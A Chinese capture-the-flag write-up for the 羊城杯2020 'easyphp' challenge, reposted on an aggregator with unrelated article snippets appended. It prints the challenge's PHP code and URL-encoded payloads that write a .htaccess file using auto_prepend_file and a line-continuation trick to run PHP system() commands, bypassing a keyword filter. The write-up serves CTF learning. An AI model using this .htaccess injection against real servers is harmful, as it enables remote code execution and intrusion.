[羊城杯2020]easyphp 1

news/2024/11/17 8:27:45/文章来源:https://www.cnblogs.com/z2gh/p/18304466

.htaccess的利用,rce,绕过

 <?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nHello, world");
?> 

上来直接给代码了
可以看到代码不长,主要利用的就是最下面的file_put_contents这个函数,要写入文件,同时还判断原先的目录下是不是只有index.php文件,删除其他的
呢么我们可以先尝试对index.php进行变量覆盖,测试之后发现行不通,也就是说他不能执行代码,只是当字符串写入了,因为复现环境太难搞了就不放图了
之后,我搜到了一篇文章学了很多https://blog.csdn.net/solitudi/article/details/116666720

可以看到这里有个htaccess文件,也就是说我们可以用配置文件去将自己改成可执行文件从而执行
呢么按照他的payload上,记得要将回车和#进行url编码不然会出问题的
payload

php_value auto_prepend_fi\
le .htaccess
#<?php system("ls")?>\?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess


拿到flag

总结

这个题目让我知道了htaccess的其他用法,不只限于文件上传,要灵活运用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/744514.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

科研单位如何安全又高效地使用文件摆渡U盘?

科研单位是专门从事科学研究与技术开发工作的机构,通常拥有高水平的科研团队和先进的科研设备。这些机构按照属性可以分为中央直属科研单位和地方科研单位。中央直属科研单位包括中国科学院、中国工程院等机构,以及原国家部委附属的科研单位、国家“211”和“985”高校及其所…

spi概念

目录一、SPI概念1. 引脚定义2. 数据收发3. 工作模式4. 数据格式 一、SPI概念串行外设接口(Serial Peripheral Interface)的简称也叫做SPI. 是一种高速的、全双工同步通信的一种接口. 串行外设接口一般是需要4根线来进行通信(NSS、MISO、MOSI、SCK)。 如果打算实现单向通信(…

半导体仿真文件传输面临时间和经济成本挑战,一招就能解决!

对于芯片设计企业来说,其面临的最大考验就是芯片设计质量和时间成本控制之间的矛盾,具体表现在芯片的设计、仿真验证过程存在着较大的挑战: 芯片设计过程包括了仿真验证这一重要的一环,但芯片设计企业在仿真验证这一环却面临着较为严峻的考研: 性能瓶颈:EDA工作流程仿真、…

Firealpaca 下载及安装教程 (火焰羊驼绘画工具)

前言 FireAlpaca是一款简单易用的电脑绘画软件,采用了类似于Photoshop的图层绘画方式。对于喜欢手绘和创作漫画的朋友来说,FireAlpaca的多图层功能使得绘画过程更加便捷和简单。作为一个小型图像编辑软件,它能够轻松处理多个图层或手绘图,既适合新手也适合有经验的绘画爱好…

manim边学边做--Code

Code这个模块比较特殊,是专门用来显示代码用的。平时如何制作数学动画的话,这个模块是用不着的,除非你想做一些编程方面的教学。Code在manim各个模块中的位置大致如上图中所示。 1. 主要参数 Code模块是用来显示代码的,所以,如果你也写过代码的话,会发现它的很多参数相当…

springboot+vue前后端分离项目-项目搭建12-批量删除

1. 改造vue/src/views/Book.vue 【1】增加批量删除按钮,table列表里第一列为多选 【2】增加ids,存储选择的数据id数组 【3】handleSelectionChange方法用来多选后将数据id存储到ids中,deleteBatch方法是点击批量删除按钮时调用后台的批量删除功能 2. 改造com/example/demo/c…

Python 入门之悦目的 Pythonic(四)封装约定

# 免责声明:本文内容主要是肥清大神的视频以及自己收集学习内容的整理笔记,目是主要是为了让博主这样的老白能更好的学习编程,如有侵权,请联系博主进行删除。10. 封装的故事 # 封装在面向对象开发里是最基础的一环* 传统的开发会遇到不注重封装的情况* 对这类的 legacy 的代…

springboot+vue前后端分离项目-项目搭建11-1对多查询

一、1对多查询 1. 增加mapper/User.xml文件,文件内容如下,book表增加user_id字段与user表的id匹配2.com/example/demo/mapper/UserMapper.java接口增加如下方法与User.xml对应 3. 优化User和Book实体类 4. 优化com/example/demo/controller/UserController.java,改造findPag…

将传统应用带入浏览器的开源先锋「GitHub 热点速览」

现代浏览器已经不再是简单的浏览网页的工具,其潜能正在通过技术不断地被挖掘和扩展。得益于 WebAssembly 等技术的出现,让浏览器能够以接近原生的速度执行非 JavaScript 语言编写的程序,从而打开了浏览器的“潘多拉魔盒”。现代浏览器已经不再是简单的浏览网页的工具,其潜能…

springboot+vue前后端分离项目-项目搭建11-1对多查询、批量删除

一、1对多查询 1. 增加mapper/User.xml文件,文件内容如下 2.com/example/demo/mapper/UserMapper.java接口增加如下方法与User.xml对应 3. 优化User和Book实体类 4. 优化com/example/demo/controller/UserController.java,改造findPage方法 5. 改造vue/src/views/User.vue 【…

《Programming from the Ground Up》阅读笔记:p49-p74

《Programming from the Ground Up》学习第3天,p49-p74总结,总计26页。 一、技术总结 1.function (1)定义 p49, Functions are unit of code that do a defined piece of work on specified types of data。 函数是在指定类型的数据上完成所定义的某个工作的代码单元。 (2)pa…

关于css选择器和样式表的应用

我已经将 #usual-links.card {background-color: red; }复制到样式表index.css,并且已经在模板中引入样式表,如:<!--最后引入自定义的css。因为引入css的顺序会影响相同元素的样式呈现--><link rel="stylesheet" href="{% static css/index.css %}&…